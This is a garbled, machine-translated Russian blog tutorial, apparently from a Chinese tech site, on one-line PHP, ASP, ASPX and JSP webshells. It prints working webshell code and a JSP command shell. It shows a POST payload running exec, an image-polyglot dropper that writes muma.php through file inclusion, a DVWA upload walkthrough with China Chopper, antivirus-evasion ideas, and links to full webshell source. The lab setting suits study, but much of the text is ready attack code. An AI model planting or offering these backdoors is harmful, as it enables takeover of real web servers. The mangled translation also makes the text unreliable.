Троян веб-безопасности — одно предложение
Троян веб-безопасности — одно предложение

Всем привет, мы снова встретились, я ваш друг Цюаньчжаньцзюнь.

Обзор

Во время многих проникновений,Специалисты по проникновению загрузят трояна, состоящего из одного предложения(Вебшелл для краткости)до сих порwebЗатем каталог службы повышает привилегии для получения системных разрешений.,Это верно независимо от asp, php, jsp, aspx.,Так что же такое троян, состоящий из одного предложения?

Давайте сначала взглянем на простейшего трояна, состоящего из одного предложения:

Язык кода:javascript
копировать
   <?php @eval($_POST['attack']);?>

Основные принципы】использоватьУязвимость загрузки файлов,Загрузите троян-предложение на целевой веб-сайт.,Затем вы можете локально передать Китайский кухонный нож.chopper.exeВы можете получить и контролировать весь каталог веб-сайта.。@значит позади Даже если ошибка выполнения,Ошибок тоже не сообщается。eval()Функция указывает, что все строки операторов в круглых скобках выполняются как код.。$_POST['attack']Представляет полученное со страницыattackЗначение этого параметра。

условия вторжения

Среди них, если злоумышленник соответствует трем условиям, можно добиться успешного вторжения:

Язык кода:javascript
копировать
(1) Троянец был успешно загружен и не был уничтожен;
(2) Знать, где находится путь трояна;
(3) Загруженный троян может работать нормально.

распространенные формы

Распространенные трояны, состоящие из одного предложения:

Язык кода:javascript
копировать
Троян для php одним предложением: <?php @eval($_POST['pass']);?>
Предложение asp:   <%eval request ("pass")%>
Предложение от aspx:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

Мы можем напрямую вставить эти операторы в файл asp/aspx/php на веб-сайте или напрямую создать новый файл, записать в него эти операторы, а затем загрузить файл на веб-сайт.

Основные принципы

Для начала давайте посмотрим на оригинальный и простой PHP-троян, состоящий из одного предложения:

Язык кода:javascript
копировать
   <?php @eval($_POST['cmd']); ?>

Видя это, я должен воздать должное мудрости моих предшественников. Для тех, кто немного разбирается в php,Или начинающий любитель безопасности,или скрипт-кидди,Первое, что я увидел, это то, что пароль — cmd.,Отправьте данные по почте,Но как это реализовать,но неизвестно,Далее мы анализируем, как исполняется приговор.

Что означает это предложение?

(1)phpКод должен быть написан на<?php ?>в,Только тогда сервер сможет распознать, что это php-код.,Затем проанализируйте。 (2)@Символ означает, что об ошибке не сообщается.,Даже если ошибка выполнения,Об ошибках также не сообщается.

Почему? Поскольку переменная не определена,Он был использован,Сервер дает дружеское напоминание:,твойxxxпеременная не определена。Разве это не раскрывает пароль??Итак, мы добавляем@

(3) Почему пароль cmd?

Тогда нам нужно понять смысл этого предложения.。phpв几个超全局变量:_GET、_POSTто естьв№1。

Примечание. Существует два метода передачи данных: get и post. Post сохраняет данные в теле сообщения, а get сохраняет данные в URL-адресе заголовка сообщения (например, xxx.php?a=2).

(4)Как понятьфункция оценки()

eval() выполняет строку как PHP-код.

Например:eval("echo 'a'");Фактически это эквивалентно прямому echo 'a';Давайте посмотрим еще раз<?php eval($_POST['pw']); ?>первый,Используйте метод post для получения переменной pw,Например, получил:pw=echo 'a';В это время код становится<?php eval("echo 'a';"); ?>。Результаты следующие::

Вместе они означают: используйте метод post для получения переменной pw.,Выполните строку в переменной pw как код PHP. Так что это можно сыграть так: то есть,какой код вы хотите выполнить,Просто поместите код в переменную pw,Используйте сообщение, чтобы передать предложение Trojan. Хотите проверить, есть ли на целевом жестком диске порнографические фильмы?,доступныйphpфункция:opendir()иreaddir()и т. д.。Я хочу загрузить несколько порнографических видео,Подставим владельца сайта,Просто используйтеphpфункция:move_uploaded_file,Разумеется, соответствующий html должен быть написан хорошо. Вы хотите выполнить команду cmd?,затем используйтеexec()

Конечно, предпосылка такова: в файле конфигурации PHP php.ini,выключать Безопасностьмодельsafe_mode = off,тогда посмотри еще раз Список отключенных функций disable_functions = proc_open, popen, exec, system, shell_exec , удалите exec и убедитесь, что exec нет (некоторые cms удаляют его для облегчения обработки определенных функций).

Давайте посмотрим на эффект. POST-код выглядит следующим образом:

Язык кода:javascript
копировать
  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo '<pre>';
  print_r($out);
  echo '</pre>';

Здесь мы видим, что система непосредственно выполняет системную команду. ТАК, теперь всем должно быть понятно, почему это предложение короткое и лаконичное!

Троянский эксплойт

Следование Уязвимость от DVWA загрузки файлы, давайте посмотрим, как использовать трояна, состоящего из одного предложения. Об Уязвимости загрузки файлов Вы можете прочитать следующие статьи:Уязвимость загрузки файлов

Китайский кухонный нож.

[Подготовка к эксперименту] Сначала сохраните файл трояна Hack.php, состоящий из одного предложения, локально (на рабочем столе) (напишите его в Блокноте, а затем измените суффикс файла):

Язык кода:javascript
копировать
  <?php @eval($_POST['pass']);?>

Затем войдите на платформу DVWA: http://127.0.0.1:8088/DVWA/index.php и приготовьтесь начать эксперимент.

В разделе «Низкий уровень безопасности» просмотрите фоновый исходный код:

Язык кода:javascript
копировать
 <?php
 if( isset( $_POST[ 'Upload' ] ) ) { 
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
   
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else { 
   
        // Yes!
        echo "<pre>{ 
     $target_path} succesfully uploaded!</pre>";
    }
  }
?>

Из исходного кода было обнаружено, что низкий уровень не выполняет никакой проверки загруженных файлов. Таким образом, вы можете напрямую загрузить трояна PHP или ASP, состоящего из одного предложения. В этом примере используется PHP.

(1) Мы напрямую загружаем подготовленный троян, состоящий из одного предложения, и затем вы можете увидеть отраженный путь:

(2) Затем вы можете использовать прерыватель для подключения. Щелкните правой кнопкой мыши интерфейс прерывателя и нажмите «Добавить». Затем заполните соответствующие данные, как показано ниже:

“Китайский кухонный нож.”Инструкция по работе со страницей:

1. Это URL-адрес соединения, который представляет собой основной путь веб-сайта плюс путь сохранения, отображаемый при загрузке файлов; 2. Это пароль при подключении к чопперу, который представляет собой данные, представленные в одном предложении на картинке выше (в данном случае «pass»); 3. Это тип синтаксического анализа предложения, который может быть asp, php, aspx. Различные типы синтаксического анализа имеют разное содержимое предложений и разные суффиксы файлов.

(3) Затем вы увидите интерфейс успешного подключения:

(4) Затем дважды щелкните или щелкните правой кнопкой мыши «Управление файлами», чтобы войти в следующий интерфейс:

Мы увидели всю структуру и файлы веб-сайта и даже раскрыли всю дисковую память моего хост-компьютера! ! Допускаются любые незаконные добавления, удаления, проверки и модификации! ! Сайт (хост) упал...

Изображение Трояна

Как можно успешно загрузить трояна? Обычно защитники фильтруют по типу, размеру и т. д. Кроме того, если условием является загрузка изображений, они также будут собраны. Даже если злоумышленник изменит тип файла, он не сможет пройти уровень сбора изображений. Итак, для обложки требуется изображение. Создайте троянского коня, спрятанного под картинкой. И в Linux, и в Windows есть соответствующие команды, которые могут объединять один файл с другим для достижения цели сокрытия.

Чтобы провести описанный выше эксперимент DVWA с высоким уровнем безопасности, сначала продолжайте просматривать исходный код:

Язык кода:javascript
копировать
 <?php
 if( isset( $_POST[ 'Upload' ] ) ) { 
   
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) { 
   

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
   
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else { 
   
            // Yes!
            echo "<pre>{ 
     $target_path} succesfully uploaded!</pre>";
        }
    }
    else { 
   
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
 }
?>

можно увидеть,Код высокого уровня считывает строку после последнего знака "." в имени файла.,Ожидайте ограничения типа файла по имени файла.,Поэтому необходимо, чтобы формат имени загружаемого файла был“*.jpg”“.jpeg”“*.png”№1。в то же время,getimagesize()функция更是限制了загрузить文件的Заголовок файла должен иметь тип изображения.

Нам нужно замаскировать заголовок загруженного файла под изображение.,первыйиспользоватькоманда копированияПоместите троянский файл одним предложениемHack.phpс обычными файлами изображенийClearSky.jpgслить:

[Примечания] Следующее используется под командой CMD копированияделать“Изображение Трояна”шаги,в,ClearSky.jpg/bсередина“b”выражать“двоичный файл”,hack.php/aсередина“a”выражатьФайл кода ASCII

Создание файлов изображений с помощью трояновhack.jpg

Затем открываем сгенерированное Изображение Трояна, мы видим, что к концу файла изображения прикреплено предложение «Троян»:

Затем мы пытаемся преобразовать сгенерированный файл образа трояна.hack.jpgзагрузить,Загрузка прошла успешно! ! !

доступ Изображение Трояна:

Далее подайте кухонный нож.!!!!!!!!!!!

Но поскольку это Изображение Трояна, PHP-скрипт не разбирается, и чоппер не может подключиться к трояну:

Так как Изображение Трояна тоже не разбирается,Что делать? Программы высокого уровня позволяют загружать только изображения... не паникуйте,Здесь в сочетании с файлом, идущим в комплекте со стрельбищем DVWA, уязвимость можно успешно загрузить в PHP-троян и подключить к кухонному ножу.,Ниже приводится демонстрация атаки.

Сначала создайте новое Изображение Трояна с помощью описанного выше метода, PHP-скрипт, лежащий в основе файла изображения, изменится на:

Язык кода:javascript
копировать
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>

Затем создайте новое Изображение Трояна, как показано ниже:

Затем загрузите его в DVWA, а затем используйте модуль уязвимости включения файлов для доступа к файлу трояна:

доступ的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,Как показано ниже:

в это времяDVWAФайл, содержащий уязвимость, автоматически создается по указанному пути.PHPФайл сценария троянского коня из одного предложенияmuma.php,Как показано ниже:

В это время снова подключите кухонный нож, и соединение пройдет успешно:

До сих пор,Мы успешно объединили уязвимости включения файлов,在只能загрузить图片的文件загрузить功能处загрузить Изображение Трояна и сгенерируйте предложение Trojan. Наконец, я прикрепляю сообщение в блоге, представляющее Изображение Трояна+解析漏洞的использовать:PHPИзображение Трояна

Троян, свободный от убийств

Даже если троянец сможет работать нормально, будет ли он через некоторое время уничтожен администратором? Как не быть убитым? Хотя троян был успешно загружен выше, пока администратор убивает вирус, все они могут быть уничтожены. Причем будет четко указано, что это бэкдор. Поэтому, как нападающий, вы должны знать различные техники убийства. Защита защитника очень проста. Всякий раз, когда на форуме появляется новая техника борьбы с убийствами, и сотрудники службы безопасности немедленно заносят ее в черный список, эта техника борьбы с убийствами становится неэффективной. Поэтому злоумышленникам необходимо продолжать внедрять инновации и изобретать новые методы борьбы с убийствами.

Идеи против убийств】:

1. Перекодируйте исходный код.

2. Base64 закодирует трояна, состоящего из одного предложения, и сохранит его в «беспорядочном» коде. Посмотрите непосредственно на картинку:

3. Это по-прежнему трансформированный троян, состоящий из одного предложения, но на этот раз преобразование представляет собой преобразование пар ключ-значение в массиве. Очень сильный.

Я должен сказать, что чем непристойнее идея избежать убийства, тем лучше. Очень интересно учиться. В будущем, когда я овладею навыками проникновения, я буду изучать различные антивирусные приемы PHP-кода. Это очень весело, а идеи очень непристойные.

Пони и большая лошадь

Пони и большая лошадь — это все виды бэкдоров на веб-страницах.,используется для контроля разрешений веб-сайта,ЧтоОсновное отличие в том, что пони используются для загрузки больших лошадей.。通过小马загрузить大马,Теперь у меня есть вопрос,Это не лишнее.,Зачем использовать пони для загрузки большой лошади?,И почему бы просто не загрузить его в Малайзию и не использовать. На самом деле это потому, что пони небольшого размера.,У нее более сильное скрытое преимущество, чем у Малайзии.,И есть уязвимость, связанная с ограничением размера загрузки файлов.,Вот почему есть пони,Пони также часто используют для изготовления запасных задних дверей и т. д.

веб-пони

Размер Pony очень маленький, всего 2 КБ, и скрытие тоже очень хорошее, потому что функция Pony очень проста, это функция загрузки, и больше ничего нет. Его функция - только загружать файлы, поэтому он может это делать. Пройдите несколько проверок безопасности. Xiaoma предназначена для удобства загрузки в Малайзию. Поскольку многие лазейки имеют ограничения на загрузку, Малайзия не может загружать, поэтому вы можете сначала загрузить Xiaoma, а затем загрузить Малайзию через Xiaoma. Pony также можно запустить через уязвимость IIS в сочетании с композицией изображений.

В фоновом режиме мы используем троян JSP, написанный на языке Java. В отличие от предыдущего трояна, состоящего из одного предложения, троян JSP в Chopper длиннее. Ниже приведен простой пример JSP:

Язык кода:javascript
копировать
<%
    if("123".equals(request.getParameter("pwd"))){ 
   
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){ 
   
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

Если его можно проанализировать после успешной загрузки,просить:http://серверIP:порт/Shell/cmd.jsp?pwd=123&i=ipconfig Команда может быть выполнена.

Интернет Малайзия

Размер Малайзии относительно велик, обычно около 50 КБ, что во много раз больше, чем у Pony. Однако соответствующие функции также очень мощные, включая управление данными, командные операции, управление базами данных, распаковку и повышение привилегий. очень мощные. Как только веб-сайт будет создан такой Малайзией, он фактически окажется под контролем этой Малайзии. Сокрытие в Малайзии не является хорошим, поскольку оно включает в себя большое количество секретного кода, который легко сканируется программами безопасности.

Китайский кухонный предложение ножа не учитывается. Операция предложения чоппера через клиента также очень эффективна. Код одного предложения может быть таким же, как и реализованный в Малайзии. Мы говорим о Пони. и большая лошадь是指网页类型середина的,Сяо Ма просто поможет загрузить Да Ма.,Это его основная функция,Также пони можно использовать как запасной ход.,В Малайзии обычно легко найти,Пони скорее всего будет спрятан в системных папках.

Давайте рассмотрим пример использования Malaysia: Загрузите PHP Malaysia в DVWA на виртуальной машине (исходный код приложен в конце):

доступ木马文件123.php,Введите пароль 123456, чтобы войти в список функций Малайзии.,На следующем рисунке показана функция управления файлами:

Продолжите доступ к функции выполнения команд (другие функции не показаны):

Наконец, прикрепите код PHP Malaysia (код слишком длинный).,Ссылка на облачный диск Baidu):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A Код извлечения:56pd。Также доступенJSPСправочный адрес Малайзии:https://blog.csdn.net/weixin_34248023/article/details/93094456

WebShell

Webshell — это среда выполнения команд, существующая в виде веб-файлов, таких как asp, php, jsp или cgi. Ее также можно назвать веб-бэкдором.。После того, как хакер проник на сайт,Обычно файлы бэкдора asp или php смешиваются с обычными файлами веб-страниц в каталоге WEB сервера веб-сайта.,Затем вы можете использовать браузер для доступа к бэкдору asp или php.,Получите среду выполнения команд для управления сервером сайта.

Webshell можно разделить на трояны-скрипты PHP, трояны-скрипты ASP, трояны-скрипты на основе .NET и трояны-скрипты JSP, основанные на скриптах. За рубежом также существуют динамические веб-страницы, написанные на языке сценариев Python, и, конечно же, существуют связанные с ними веб-шеллы. Webshell также делится на «больших лошадей», «маленьких лошадей» и троянцев, состоящих из одного предложения, в зависимости от их функций.,Например:<%eval request(“pass”)%>通常把这句话写入一个文档в,Затем измените имя файла наxx.asp。然后传到сервер上面。использоватьevalметод будетrequest(“pass”)Преобразование в выполнение кода,requestфункция的作использовать是应использовать外部文件。Это эквивалент клиентской конфигурации трояна в одном предложении.。Конкретная классификация выглядит следующим образом.:

Издатель: Лидер стека программистов полного стека, укажите источник для перепечатки: https://javaforall.cn/143133.html Исходная ссылка: https://javaforall.cn

boy illustration
Углубленный анализ переполнения памяти CUDA: OutOfMemoryError: CUDA не хватает памяти. Попыталась выделить 3,21 Ги Б (GPU 0; всего 8,00 Ги Б).
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Прочитайте нейросетевую модель Трансформера в одной статье
boy illustration
.ART Теплые зимние предложения уже открыты
boy illustration
Сравнительная таблица описания кодов ошибок Amap
boy illustration
Уведомление о последних правилах Points Mall в декабре 2022 года.
boy illustration
Даже новички могут быстро приступить к работе с легким сервером приложений.
boy illustration
Взгляд на RSAC 2024|Защита конфиденциальности в эпоху больших моделей
boy illustration
Вы используете ИИ каждый день и до сих пор не знаете, как ИИ дает обратную связь? Одна статья для понимания реализации в коде Python общих функций потерь генеративных моделей + анализ принципов расчета.
boy illustration
Используйте (внутренний) почтовый ящик для образовательных учреждений, чтобы использовать Microsoft Family Bucket (1T дискового пространства на одном диске и версию Office 365 для образовательных учреждений)
boy illustration
Руководство по началу работы с оперативным проектом (7) Практическое сочетание оперативного письма — оперативного письма на основе интеллектуальной системы вопросов и ответов службы поддержки клиентов
boy illustration
[docker] Версия сервера «Чтение 3» — создайте свою собственную программу чтения веб-текста
boy illustration
Обзор Cloud-init и этапы создания в рамках PVE
boy illustration
Корпоративные пользователи используют пакет регистрационных ресурсов для регистрации ICP для веб-сайта и активации оплаты WeChat H5 (с кодом платежного узла версии API V3)
boy illustration
Подробное объяснение таких показателей производительности с высоким уровнем параллелизма, как QPS, TPS, RT и пропускная способность.
boy illustration
Удачи в конкурсе Python Essay Challenge, станьте первым, кто испытает новую функцию сообщества [Запускать блоки кода онлайн] и выиграйте множество изысканных подарков!
boy illustration
[Техническая посадка травы] Кровавая рвота и отделка позволяют вам необычным образом ощипывать гусиные перья! Не распространяйте информацию! ! !
boy illustration
[Официальное ограниченное по времени мероприятие] Сейчас ноябрь, напишите и получите приз
boy illustration
Прочтите это в одной статье: Учебник для няни по созданию сервера Huanshou Parlu на базе CVM-сервера.
boy illustration
Cloud Native | Что такое CRD (настраиваемые определения ресурсов) в K8s?
boy illustration
Как использовать Cloudflare CDN для настройки узла (CF самостоятельно выбирает IP) Гонконг, Китай/Азия узел/сводка и рекомендации внутреннего высокоскоростного IP-сегмента
boy illustration
Дополнительные правила вознаграждения амбассадоров акции в марте 2023 г.
boy illustration
Можно ли открыть частный сервер Phantom Beast Palu одним щелчком мыши? Супер простой урок для начинающих! (Прилагается метод обновления сервера)
boy illustration
[Играйте с Phantom Beast Palu] Обновите игровой сервер Phantom Beast Pallu одним щелчком мыши
boy illustration
Maotouhu делится: последний доступный внутри страны адрес склада исходного образа Docker 2024 года (обновлено 1 декабря)
boy illustration
Кодирование Base64 в MultipartFile
boy illustration
5 точек расширения SpringBoot, супер практично!
boy illustration
Глубокое понимание сопоставления индексов Elasticsearch.
boy illustration
15 рекомендуемых платформ разработки с нулевым кодом корпоративного уровня. Всегда найдется та, которая вам понравится.
boy illustration
Аннотация EasyExcel позволяет экспортировать с сохранением двух десятичных знаков.